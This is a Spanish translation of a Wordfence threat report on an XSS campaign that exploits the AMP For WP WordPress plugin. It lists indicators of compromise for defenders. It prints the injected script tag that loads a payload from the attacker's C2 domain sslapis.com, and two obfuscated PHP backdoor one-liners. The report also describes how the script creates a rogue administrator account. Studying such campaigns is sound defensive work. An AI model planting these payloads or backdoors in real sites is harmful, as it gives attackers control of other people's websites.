AMP problemas de seguriad

La noticia salió la semana pasada y reveló una serie de vulnerabilidades en el complemento AMP For WP , instalado en más de 100,000 sitios de WordPress. El colaborador de WordPress,  Sybre Waaijer,  identificó el problema de seguridad y lo reveló de manera confidencial al equipo de complementos de WordPress. Para explotar la falla, un atacante debe tener un mínimo de acceso de nivel de suscriptor en un sitio vulnerable.

El equipo de Wordfence ha identificado una campaña XSS (scripts entre sitios) que explota activamente esta falla de seguridad. En el post a continuación, describimos en detalle esta sofisticada campaña de ataque. Es fundamental que los propietarios de sitios que usan AMP For WP actualicen a la versión más reciente de este complemento lo antes posible. Al momento de escribir, la versión más reciente de AMP For WP es la versión 0.9.97.20 .

El firewall de Wordfence tiene una nueva regla que defiende los sitios contra esta vulnerabilidad. Esta regla ha sido lanzada a los clientes de Premium Wordfence y estará disponible para clientes gratuitos 30 días después del lanzamiento. Además, el firewall de Wordfence tiene una regla XSS genérica que ha estado disponible para clientes gratuitos y Premium durante más de 2,5 años, que atrapa la mayoría de las vulnerabilidades dirigidas a esta vulnerabilidad.

Además, el equipo de Wordfence lanzó firmas de malware en producción que detectan las cargas útiles de malware que se depositan en los servidores apuntados en este ataque. Estos están actualmente en producción para los clientes de Wordfence Premium .

problemas en AMP

 

El resto de esta publicación documenta la campaña de ataque que nuestro equipo ha identificado, que explota la reciente vulnerabilidad descubierta en el complemento AMP For WP. El resto de este post está escrito para equipos de operaciones de seguridad, desarrolladores, proveedores y otros defensores de la red. Describe la cadena de ataque e incluye IOC (indicadores de compromiso) que pueden utilizarse para mejorar los productos de seguridad y fortalecer los cortafuegos y los sistemas de detección de intrusos contra esta amenaza.

La vulnerabilidad

Un par de fallas de seguridad individuales fueron parchadas en la reciente versión del complemento. El quid de la situación es una falta general de verificación de capacidades asociada con los ganchos AJAX del complemento. Un usuario debe tener una sesión de inicio de sesión activa para realizar las llamadas necesarias al complemento y no importa qué permisos se le hayan otorgado al usuario en el sitio afectado.

codigo vulnerable amp


El código anterior de  install/index.php itera sobre datos POST sin ninguna verificación de capacidades.

Los exploits activos que hemos identificado están aprovechando este conjunto de fallas para modificar las opciones propias del complemento almacenadas en la base de datos de WordPress.

Atacando al administrador

Los ataques más frecuentes contra este vector intentan inyectar la siguiente carga de XSS en el contenido del sitio de la víctima con el objetivo de afectar a un administrador registrado:

<script src = https: //sslapis.com/assets/si/stat.js> </script>

Si el navegador de un administrador ejecuta el JavaScript malicioso, generará una carga útil mayor desde su servidor de comando y control (C2) en  sslapis.com. Este script, stat.jscontiene una serie de características notables.

envio de datos apm

La SendData() función anterior notifica al servidor C2 de cualquier acción ejecutada con éxito por el JavaScript malicioso.

Un área de preocupación es la processNewUser() función, que intenta secuestrar la sesión del navegador del administrador afectado para registrar una nueva cuenta de administrador llamada supportuuser :

procesar amp

La processNewUser()función intenta usar un iframe oculto para ejecutar el proceso de registro de usuario.

Después de crear un elemento iframe oculto en la página que está viendo el administrador afectado, el script simula el proceso de completar el formulario de Nuevo Usuario. Como parte de este proceso, selecciona la función de administrador y envía un click() evento al botón de envío para crear un nuevo usuario con acceso de administrador.

Además de la creación de una cuenta de administrador no autorizado, el script también intenta inyectar código de puerta trasera en los complementos de un sitio afectado. Esto se logra de manera similar a la creación del administrador anterior, con un iframe oculto anexado al contenido de la página y utilizado para simular las interacciones de un administrador con las áreas de Complemento del panel.

edit plugin amp

La función definida anteriormente se utiliza para inyectar PHP malicioso en los complementos de un sitio.

Las puertas traseras de PHP inyectadas en los complementos de un sitio son las siguientes:

@array_diff_ukey(@array((string)@$_REQUEST['vqmode']=>1), @array((string)stripslashes(@$_REQUEST['map'])=>2),@$_REQUEST['bootup']);

@extract($_REQUEST);@die($cdate($adate));

Ambas puertas traseras son formas efectivas de permitir que un atacante ejecute código PHP arbitrario en los sitios infectados, incluso si la cuenta de administrador deshonesto mencionada anteriormente se elimina con éxito.

Servidor c2

El servidor de comando y control (C2) para esta campaña se encuentra actualmente en sslapis.com. Este host sirve la versión en vivo de la carga útil de JavaScript descrita anteriormente, así como un script utilizado para recibir datos de las sesiones de navegador afectadas. El dominio en sí fue registrado el 2 de noviembre con la compañía ucraniana ukrnames.com , pero el servidor que aloja el dominio ha estado presente durante más tiempo, habiendo estado asociado con una estafa de phishing de Apple hace  poco más de un año.

Estilo de codificación

Como puede haber notado en las capturas de pantalla anteriores, el archivo JavaScript alojado en el servidor C2 contiene una serie de líneas comentadas aparentemente utilizadas durante el desarrollo por el autor del malware para probar varias funciones. Además, el JavaScript en sí mismo tiene un formato excepcionalmente bueno en comparación con otros programas maliciosos, donde la norma es la de “uglified” o de cualquier otro modo confuso. Esto puede cambiar en cualquier momento porque el script está alojado en el servidor del adversario.

Si bien los ataques dirigidos a esta vulnerabilidad provienen de un conjunto de direcciones de origen, una falla en la ejecución de estos ataques hace que sean fácilmente rastreables. Es común que las plataformas de ataque falsifiquen la cadena User-Agent de un navegador bien conocido en un esfuerzo por mezclar el tráfico con la actividad de navegación normal. En este caso, sin embargo, la cadena de agente de usuario contenida en estas solicitudes maliciosas se rompe: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv. Tenga en cuenta que en cadenas de User-Agent similares, un número de versión sigue a “rv”. Esto sugiere que el atacante pretendía rotar o cambiar el número de versión en la cadena mediante programación. Este User-Agent roto se encontró en todos los ataques asociados con este adversario.

Indicadores de Compromiso (IOCs)

IPs de ataque más prevalentes

  1. 181.215.147.23
  2. 193.112.161.204
  3. 219.145.170.23
  4. 192.169.198.104
  5. 193.112.65.16
  6. 46.101.156.232
  7. 193.112.91.155
  8. 218.92.252.230
  9. 208.109.53.224
  10. 41.139.45.78

Dominios de salida accedidos

  • sslapis.com

Agentes de usuario asociados

  • Mozilla / 5.0 (Windows NT 6.1; Win64; x64; rv

Indicadores de la base de datos

  • La presencia de cuentas no autorizadas en la tabla de usuarios de su sitio, que incluye, entre otras, el siguiente ejemplo:
    • usuario de soporte
  • La presencia de cualquier JavaScript introducido de forma no intencional en cualquier entrada de wp_options asociada con el complemento AMP For WP, que contiene la cadena de  amperios en el option_namecampo.

Conclusión

Esta campaña de malware es un ejemplo de por qué una vulnerabilidad XSS almacenada es un problema de alta prioridad. Cuando un atacante puede ejecutar su propio JavaScript en el navegador del administrador de un sitio, hay una variedad de técnicas que pueden emplear para avanzar más en un sitio. Si bien el dominio C2 en el caso de este ataque es muy nuevo y aún no aparece en las listas negras utilizadas por los populares complementos del navegador como uBlock Origin , los administradores de sitios de misión crítica podrían considerar emplear un modelo no confiable por defecto con extensiones del navegador como NoScript .

Consideramos una política de seguridad de contenido (CSP) como una posible mitigación de este ataque, pero el atacante podría modificar la carga útil XSS para que sea una versión en línea del script cargado desde el servidor sslapis C2.

Como siempre, la mejor defensa contra estos ataques es mantener el software de su sitio actualizado. La solución de seguridad de AMP For WP estuvo disponible durante casi dos semanas antes de que comenzaran estos ataques, con suerte poniendo un límite estricto en la superficie de ataque explotable de esta vulnerabilidad.

Para los sitios que no se pueden actualizar, o aquellos que no se han actualizado por alguna otra razón, se ha agregado una regla al cortafuegos de Wordfence que evita estos ataques. Esta regla ya se aplica a todos los usuarios de Premium WordFence y se lanzará a los usuarios de Free Wordfence después de 30 días. Sin embargo, la mayoría de los intentos de explotar esta vulnerabilidad suceden para activar una regla de firewall preexistente creada para bloquear las cargas genéricas de XSS, y esta regla ha estado protegiendo a los usuarios de Wordfence gratis por más de 2.5 años. Nuestro equipo también ha lanzado firmas de malware en producción para detectar el malware que se está depositando en los servidores apuntados en este ataque.

Escrito por Mikey Veenstra con la asistencia de investigación de Stephen Rees-Carter, James Yokobosky y Matt Barry. Traducido desde la web de wordfence.org

0 comentarios

Dejar un comentario

¿Quieres unirte a la conversación?
Siéntete libre de contribuir

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *